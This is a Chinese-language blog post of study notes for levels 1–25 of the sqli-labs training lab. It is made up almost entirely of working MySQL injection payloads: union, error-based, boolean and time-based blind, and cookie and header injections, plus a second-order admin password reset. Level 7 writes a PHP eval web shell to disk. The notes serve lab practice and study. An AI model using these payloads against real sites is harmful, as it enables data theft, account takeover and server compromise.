1677天 博客通用头像 Edwiin

本人熟练掌握linux,windows的开关机,擅长nfs,samba,ftp,dhcp,bind,apache,mail等各项服务的安装与卸载,精通shell,mysql,iptables,selinux等单词的拼写,了解虚拟化,存储,集群等相关汉字的书写。

sqli-labs-Mysql手工注入通关学习笔记 1-25关

发布于 5个月前 / 52 次围观 / 0 条评论 / CTF / Edwiin
本文最后更新于2020-5-13,已超过 1 个月没有更新,如果文章内容或图片资源失效,请【留言反馈】,我会及时处理,谢谢!

mysql手工注入知识点

information_schema库下schemata表下的schema_name列储存的所有的库名 select schema_name from information_schema.schemata; 查询所有库


information_schema库下tables表下table_name是所有的表名,table_schema是对应的库名 select table_name from information_schema.tables where table_schema='库名' 查询库下的所有表名


information_schema库下columns这个表里面的column_name储存着所有的列名 需要加条件 table_schema数据库 以及 table_name 表来指定显示

 

select column_name from information_schema.columns where table_schema='库名或者库名的16进制' and table_name='表名或者表名的16进制'; 列出表下所有的列


第一关

访问?id=1正常

id=1'爆错

我们猜测可能是select xxx from xxx where id='1',order by 3正常order by 4报错判断是3列。

先爆当前数据库跟当前mysql版本

爆一下所有的数据库.

?id=-1' union select 1,2,schema_name from information_schema.schemata  limit 1,1 --+ 得到blog库

爆表名

?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=database()或者'数据库名'或者数据库名的十六进制 limit 1,1--+ 得到blog库下的cat表

暴对应数据库数据表的各个字段

?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema=库名十六进制  and table_name=表名十六进制 limit 1,1 --+

数据,选择得到库emlog 表cat 列catname。

?id=-1' union select 1,列名,3 from 库名.表名 limit 0,1

第二关

输入?id=1 and 1=2页面信息发生变化,说明此处是数值型注入

order by 3  页面显示正常,order by 4页面显示不正常,所以有3列数据

接着使用第一关的方法,查询库,表,列,值

第三关

?id=1'--+报错

?id='1) --+正常 我们可以判断 语句大概为 select * from xxx where id=('id')

然后开始爆库名

?id=--1') union select 1,2,(select group_concat(schema_name) from information_schema.schemata)
--+

group_concat是把查询结果放到一行,在sql命令行里是 select (select group_concat(schema_name) from information_schema.schemata)。

接下来爆表?id=--1') union select 1,2,(select group_concat(table_name) from infoation_schema.tables where table_schema='junmo')--+

然后爆列id=--1') union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='junmo' and table_name='user')

然后查数据

第四关

跟第三关一样,只是数据放在了双引号里面("id"),需要用双引号来闭合。

第五关

输入单引号报错,但是没有输出信息所以这里不能用联合注入,只能用报错注入

页面出现SQL语句报错,在这里我们就可以使用一种新的注入方式:报错注入
首先介绍三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat((sql语句),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符

(2). 通过updatexml报错
and updatexml(1,sql语句,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

(3). 通过ExtractValue报错
and extractvalue(1, sql语句)
输出字符有长度限制,最长32位。

我们使用floor报错来注入

?id=1'and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

这里发现页面提示我输出信息超过一行,但我们已经使用了group_concat函数,说明这里数据库名组成的字符串长度超过了64位,所以我们需要放弃group_concat函数,而使用limit 0,1来一个个输出

使用下面这个语句

?id=1'and (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

现在输出结果会多一个1不管输出什么结果都会有这个1。

查表 ?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='junmo' limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a) --+

然后使用上面的语句一步一步获取就行

第六关

跟第五关一样只是把'单引号改成了双引号

第七关

想了一下,可能会有很多人和我一样,对数据库file权限和 into outfile这个命令比较陌生,所以在这里科普一下file权限和into outfile这个函数
数据库的file权限规定了数据库用户是否有权限向操作系统内写入和读取已存在的权限
into outfile命令使用的环境:
需要知道绝对路径 需要开启

版本的MYSQL添加了一个新的特secure_file_priv,该选项限制了mysql导出文件的权限
secure_file_priv选项

查看secure_file_priv

 

show global variables like '%secure%';

 

mysql版本配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

了解了这些开始进行注入吧 正常访问

set global general_log=on;set global general_log_file='D:/phpStudy/WWW/JunMo.php';select '<?php eval($_POST[1]) ?>';   这个方法只能在sql命令行下执行

  输入 and 1=2 还是正常说明不是数值型   输入单引号爆错,说明是字符型注入   输入')还是爆错 

输入 '))返回正常

由于我没有开启这里就没办法写入  写入语句?id=1')) union select 1,2,'<?php @eval($_POST[123]);?>' into outfile "C:\\phpStudy\\PHPTutoria\\WWW\\JunMo.php" 后面为物理路径

第八关

加个单引号' 不回显

加 ' and 1=1 --+ 回显布尔注入

判断库长度 and length(database())=8 长度正确返回正常,失败返回为空

 

爆库名?id=1' and left((select database()),位数)='s'--+

第二位

最后得到库名?id=1' and left((select database()),8)='security'--+

 

开始爆表名,的知第一位表名是r,r的ascii值为114 所以返回正常

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+


爆第二位101对应的是e ?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101--+

爆列名,referers的第一个列是id第一个字母为i,i的ascii值为105 ?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='referers' and table_schema='security' limit 0,1),1,1))=105--+

数据获取security库下的users表下的username的列 ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68--+

第九关

不管输入什么返回都是没变。

考虑时间盲注 ?id=1' and sleep(3)--+ 返回明显慢了3秒

爆库长度?id=1' and if(length(database())=8 , sleep(3), 1) --+

爆库名 ?id=1' and if(left((select database()),1)='s'  , sleep(3), 1)  跟第8关一样

爆表名?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114 , sleep(3), 1) 

爆列名 ?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='referers' and table_schema='security' limit 0,1),1,1))=105, sleep(3), 1)

数据 ?id=1' and if(left((select password from security.users limit 0,1),1)='d' , sleep(3), 1)

第十关

基于时间的双引号盲注,只要把上一题的单引号改成双引号,一样的注入。

第十一关

单引号'报错

admin'#显示 正常为字符型注入

因为这里显示两个列,账号跟密码我就不判断列数了。

直接寻找回显 uname=admin' and 1=2 union select 1,2 这里的and 1=2是为了让前面语句错误而不输出原值而是输出后面的值.

然后我们可以使用第2关的联合注入语句来爆库。

uname=admin' and 1=2 union select NULL,(select group_concat(schema_name) from information_schema.schemata)#

爆表 uname=admin' and 1=2 union select NULL,(select group_concat(table_name) from information_schema.tables where table_schema='blog')#

爆列 uname=admin' and 1=2 union select NULL,(select group_concat(column_name) from information_schema.columns where table_schema='blog' and table_name='user')#

第十二关

 尝试' 无返回结果 "无返回结果 ')无返回结果 ")返回报错

跟上一题一样,把单引号替换成")

爆库uname=admin") and 1=2 union select NULL,(select group_concat(schema_name) from information_schema.schemata)#

爆表 uname=admin") and 1=2 union select NULL,(select group_concat(table_name) from information_schema.tables where table_schema='blog')#

爆列 uname=admin") and 1=2 union select NULL,(select group_concat(column_name) from information_schema.columns where table_schema='blog' and table_name='user')#

第十三关

经过测试发现是 ')来闭合,只有报错回显,所以只能用报错注入。

跟第5关一样

爆库 uname=admin')union select NULL, (select 1 from (select count(*),concat(((select schema_name from information_schema.schemata limit 1,1)),floor (rand(0)*2))x from information_schema.tables group by x)a)#

爆表uname=admin')union select NULL, (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='junmo' limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a)#

爆列 uname=admin')union select NULL,(select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='blog' and table_name='user' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)#

数据 uname=admin')union select NULL,(select 1 from (select count(*),concat((select catname from blog.cat limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)#

第十四关

经过测试是参数被双引号包裹需要双引号来闭合。

发现只显示报错信息,使用报错注入。

爆库uname=admin"and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e))#

爆表 uname=admin"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='junmo' limit 0,1),0x7e))#

爆列 uname=admin"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='blog' and table_name='user' limit 0,1),0x7e))#

爆值 uname=admin"and extractvalue(1,concat(0x7e,(select catname from blog.cat limit 0,1),0x7e))#

第十五关

怎么输入都没变化,没回显,延时注入。

uname=admin ' and sleep(2) #&passwd=1&submit=Submit

明显延时显示了。

爆库长度 uname=admin' and if(length(database())=8,sleep(5),1)#&passwd=admin&submit=Submit#&passwd=1&submit=Submit

爆库名 uname=admin' and if(left(database(),1)='s',sleep(5),1)#&passwd=admin&submit=Submit#&passwd=1&submit=Submit

爆表名 uname=admin' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)#&passwd=admin&submit=Submit#&passwd=1&submit=Submit

爆列名 uname=admin' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),1)='p' ,sleep(5),1)#&passwd=admin&submit=Submit#&passwd=1&submit=Submit

爆值 uname=admin' and if(left((select username from users  limit 0,1),1)='d' ,sleep(5),1)#&passwd=admin&submit=Submit#&passwd=1&submit=Submit

第十六关

怎么输入都没回显或报错猜测是延时注入.

跟上一个关一样把'改成")就行。

第十七关

怎么测试都没有反应,试试看密码栏试试'单引号报错。

使用报错注入

爆库 uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e)) #&submit=Submit

爆表 uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='junmo' limit 0,1),0x7e)) #&submit=Submit

爆列 uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='blog' and table_name='user' limit 0,1),0x7e)) #&submit=Submit

爆库 uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select catname from blog.cat limit 0,1),0x7e)) #&submit=Submit

第十八关

报错型,单引号,user-agent型注入点。

这里不知道为什么我测试失败

第十九关

单引号,报错型,referer型注入点。

这里也没成功

第二十关

cookie:uname=admin 正常登入

admin后面加个单引号,页面保错

order by 3返回正常4返回错误为3列

使用联合注入

爆所有库 uname=admin' and  1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)#

其他语句可以参考上面的联合注入语句

第二十一关

正常登入

看了一下源代码,把接受过去的值base64解密密然后('')包裹所以只需要把上一关的语句base64加密单引号改成')就行

爆库 admin') and  1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)#

YWRtaW4nKSBhbmQgIDE9MiB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KHNjaGVtYV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5zY2hlbWF0YSkj

第二十二关

查看源码,发现加了个单引号。

跟上一关一样把')去掉改成单引号

爆库  admin "and  1=2 union select 1,2,(select group_concat(schema_name) from information_schema.schemata)#

YWRtaW4gImFuZCAgMT0yIHVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhKSM=

第二十三关

看了下源码过滤了注释符那只能闭合

爆库 id=-1'union select 1,2,(select group_concat(schema_name) from information_schema.schemata)'

剩下的语句上面都有

第二十四关

.注册一个admin'#的账号。

登入该账号,然后修改密码

修改该帐号的密码,此时修改的就是admin密码,我修改为123456。

UPDATE users SET passwd="新密码" WHERE username =' admin' # ' AND password=' 此时修改的就是admin

密码了 '#被当成了语句去执行

此时的语句为UPDATE users SET passwd="New_Pass" WHERE username =' admin'

这样就成功修改admin这个账号的密码.

第二十五关

过滤了or 和and

看到id周围全是单引号,

但是第二种payload没有报错,可以注入。

方法一,--+绕过,一般注入。

样例payload

?id=-1' union select 1,2,database()--+

有必要说一下这题在爆值的时候对password进行了处理,查询password列,回显no column passwd,所以双写or绕过

同理information也是。

样例paload

?id=-1' union select 1,2,group_concat(username,0x7e,passwoorrd) from users--+

方法二,双写or或and绕过

测试payload

    ?id=0' oorr 1=1 --+
    ?id=2' aandnd 1=1 --+

 

太多了懒得更新就这样嘛。

全站顶部广告位

  • 支付宝赞助图片
  • 微信赞助图片
  • QQ赞助图片
头像
描述: 还好有你,再见如初。

Press Space to start